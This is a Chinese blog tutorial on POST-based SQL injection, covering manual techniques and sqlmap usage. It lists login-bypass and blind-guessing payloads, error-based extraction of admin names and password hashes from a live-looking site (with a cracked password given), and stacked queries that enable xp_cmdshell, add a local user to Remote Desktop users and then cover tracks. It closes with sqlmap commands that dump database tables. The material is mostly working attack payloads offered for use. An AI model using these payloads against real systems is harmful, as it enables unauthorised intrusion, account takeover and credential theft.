菜鸟追梦

手工+sqlmap的POST注入

2017-09-04  本文已影响259人  查无此人asdasd

手工:

第一种

1.判断输入框是否存在注入

直接输入一个 '看是否报错(如果存在盲注的话也是不会报错的),如果直接出错了,说明存在注入漏洞,如果没有,那么还需要进一步确定。如果页面有多个输入框,这时要分别确定是否都存在注入漏洞。

2.判断是什么类型的数据库

,以及 这个页面是什么类型的,如果web服务器和sql服务器在同一个机器上,没准扫描端口就能知道,当然有可能端口是不对外开的。这个时候可以通过数据库之间 的语法差异构造些语句来识别,这里碰到的是MSSQL+ASPX,目前ASP,ASPX,php都可以做一些简单的特殊字符过滤,比如"<" ,";","--"等之类的,所以在测试的时候要考虑下。

3.绕过输入信息以获得更多的信息

例如一个页面有两个输入框username和password,并且判断出仅有username存在注入漏洞。

当我们输入错误的用户名时,提示username error。

通常我们在输入数据时,web一般将 会用select * from admin where username=’XXX‘ and password=’YYY‘ 这句话提交给SQL服务器来对用户名和密码加以验证,其中 admin 是表名,username 和 password 是要输入的内容。我们只关心我们要输入的东西。

我们先构造语句

select * from admin where username=’ ’ or '1'='1‘--‘ and password=’YYY‘即用户名输入’ or '1'='1‘--

--用于注释后面的语句

结果是不能正常运行,如果是以上这种类型的话,我们构造的语句是永真的,那么可以绕过登陆的页面

如果我们用户名输入’ or '1'='1

则会出现user password error错误,说明可以绕过用户名的输入

综上所述,不能做到同时绕过用户名和 密码的输入,只能绕过username的输入,并且用户名框和密码框产生的是两个不同的错误,说明username 和password是可能分别提交的(如果是一起提交的话,应该只有一种错误,比如提示:你的用户或密码错误),可能是if (username='XXX' );if (password='YYY' )

4.有了这个能用的用户,我们试图猜解下口令

先构造语句

select * from admin where username=’ ’ or passwd like 'a%' and password=’YYY‘即用户名输入’ or passwd like 'a%

当password里面包含有a字符时为真,即用户名为真,应该回显一个user password error

假如第一个为a,接着下一个字符。输入’ or passwd like 'ad% 继续检测

当然,我们还应该检测这个密码的长度,

构造语句

select * from admin where username=’ ’ or len(passwd) < '20' and password=’YYY‘即用户名输入 ’ or len(passwd) < '20

同样的,成立时返回的错误应该是user password error,从20往1试,直到出现username错误,那么长度就得知了

值得注意的是,当有多个用户名和密码时,如果长度不一样,那么这个长度值会有多个。

同样的上面的方法可以试出用户名和用户名的长度

select * from admin where username=’ ’ or username like 'a%' and password=’YYY‘即用户名输入’ or passwd like ’a%

select * from admin where username=’ ’ or len(username) < '20' and password=’YYY‘即用户名输入 ’ or len(username) < '20

这样我们就成功的破解了用户名和密码.

进去以后依然还有个输入框

1.判断输入框是否存在注入

直接输入一个 ‘ 看是否报错(如果存在盲注的话也是不会报错的),如果直接出错了,说明存在注入漏洞,如果没有,那么还需要进一步确定。如果页面有多个输入框,这时要分别确定是否都存在注入漏洞。

2.简单的输入信息看能不能获得更多的信息

例如一个页面有两个查询输入框username和remoteip,并且判断出都存在注入漏洞。

先试试输入 ' or '1' = '1

结果是都可以正常运行,并且相当于是没有输入任何内容进行查询。

猜测伪代码会不会是这种类型的呢?

if(username like 'XXX' and remoteip like 'YYY')

构造语句试试能不能运行

if(username like 'XXX' and remoteip like 'YYY');show databases--XXX' and remoteip like 'YYY')即输入XXX' and remoteip like 'YYY');show databases--

在输入前得确保能输入这么多字符,可以通过改变源码来修改最多字符数。

发现结果是报错。

那么有没有可能采用的是group by这种语句呢?

select username,remoteip,remotehost from table where username like 'XXX' group by username,remoteip,remotehost

那我们就构造

select username,remoteip,remotehost from table where username like ' ' group by username,remoteip,remotehost;show databases--

即输入' group by username,remoteip,remotehost;show databases--

发现能够正确的运行

既然能够运行指定的语句了,那就好办了。

先开启  xp_cmdshell 扩展存储过程,由于存在安全隐患,所以在SQL Server 2005以后的版本中, xp_cmdshell 默认是关闭的。

输入

' group by username,remoteip,remotehost;EXEC sp_configure 'show advanced options', 1--

' group by username,remoteip,remotehost;RECONFIGURE--

开启扩展存储

' group by username,remoteip,remotehost;EXEC sp_configure 'xp_cmdshell',1--

增加用户

' group by username,remoteip,remotehost;EXEC xp_cmdshell 'net user hello hello /add'--

有些情况还需要将用户添加到远程桌面组

' group by username,remoteip,remotehost;EXEC xp_cmdshell 'net localgroup "remote desktop users" hello /add’--

清痕时还要关闭xp_cmdshell

' group by username,remoteip,remotehost;EXEC sp_configure 'show advanced options',0--

第二种

后台登陆框post注入按照注入的方式属于post,和前台搜索型post注入、文本框注入类似,由于目前主流的注入工具除了穿山甲等较新工具以外几乎都是get注入,尤其是对于这种后台账户型post注入式无能为力的,所以手工注入就显得尤为重要了,今天就用实战说明一下大家不大在意的post注入的手注方法。(以后也会补充一个cookie注入的实战例子)

http://xxx.com/login.aspx

1.爆数据库的表段和相关字段

' having 1=1--

说明有表名叫 Sys_Admin 字段有 password

2.爆Sys_Admin下的其他字段。

' group by Sys_Admin.Password having 1=1--

不知道为何没法用这种方式继续爆表段的其他字段

失败。

3 换种方式爆Sys_Admin表段的其他字段

1' and 1=convert(int,(select top 1 col_name(object_id ('Sys_Admin'),1) from Sys_Admin)) and '1'='1

1' and 1=convert(int,(select top 1 col_name(object_id ('Sys_Admin'),2) from Sys_Admin)) and '1'='1

这就是我们一开始就和表段一起爆出来的密码字段。

1' and 1=convert(int,(select top 1 col_name(object_id ('Sys_Admin'),3) from Sys_Admin)) and '1'='1

在将 nvarchar 值 'Name' 转换成数据类型 int 时失败。

由结果可以推断管理员账户是在name字段中,密码是在password字段中。

4.然后就是分别爆字段内容了

' and (select top 1 Sys_Admin.Name from Sys_Admin)>0--

所以爆出来的是admin

' and (select top 1 Sys_Admin.Password from Sys_Admin)>0--

爆出来的密码是 D14E21B3210EF7C7EB42EC9740A1EE7E

经过破解是:pjxh3100312

所有后台账户和密码是 admin pjxh3100312

经过分析还有实例联系说明,手工注入的方法不能死板,可以多种方法结合一起使用,学习多种数据库的使用是非常有必要的。


利用sqlmap进行POST注入,常见的有三种方法:

注入方式一:

1.用Burp抓包,然后保存抓取到的内容。例如:保存为post.txt,然后把它放至某个目录下

运行sqlmap并使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass,这里参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。

2.列数据库:

[html]view plaincopy

sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n --dbs

注:-r表示加载一个文件,-p指定参数

其中出现了三次提示:

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

它看起来像后端DBMS是'mysql'。 是否要跳过特定于其他DBMS的测试负载? [Y/n]输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗? [Y/n]输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]输入"Y"

以下是猜解出来的一些数据库总共有13个数据库。

3.猜表

选择一个数据库,比如选fendo

[html]view plaincopy

sqlmap.py -r "c:\Users\fendo\Desktop\test.txt" -p n -D fendo --tables

得到user表。

4.猜列

[html]view plaincopy

sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user --columns

5.猜数据

[html]view plaincopy

sqlmap.py -r "c:\Users\fendo\Desktop\post.txt" -p n -D fendo -T user -C “username,password” --dump

注入方式二:自动搜索表单的方式

[html]view plaincopy

sqlmap.py -u "http://192.168.160.1/sqltest/post.php" --forms

它会有几次消息提示:

do you want to test this form? [Y/n/q]

要测试此表单吗?[Y/n/q]输入"Y"

do you want to fill blank fields with random values? [Y/n]

是否要填充带有随机值的空白字段? [Y/n]输入"Y"

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

它看起来像后端DBMS是'MySQL'。 是否要跳过特定于其他DBMS的测试负载? [Y/n]输入"Y"

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

对于剩余的测试,您想要包括所有针对“MySQL”扩展提供的级别(1)和风险(1)值的测试吗?[Y/n]输入"N"

POST parameter 'n' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

POST参数'n'是脆弱的。 你想继续测试其他人(如果有的话)吗?[y/N]输入"N"

do you want to exploit this SQL injection? [Y/n]

你想利用SQL注入?输入"Y"

注入方式三:指定一个参数的方法

[html]view plaincopy

sqlmap -u http://xxx.xxx.com/Login.asp --data "n=1&p=1"

上一篇下一篇

猜你喜欢

热点阅读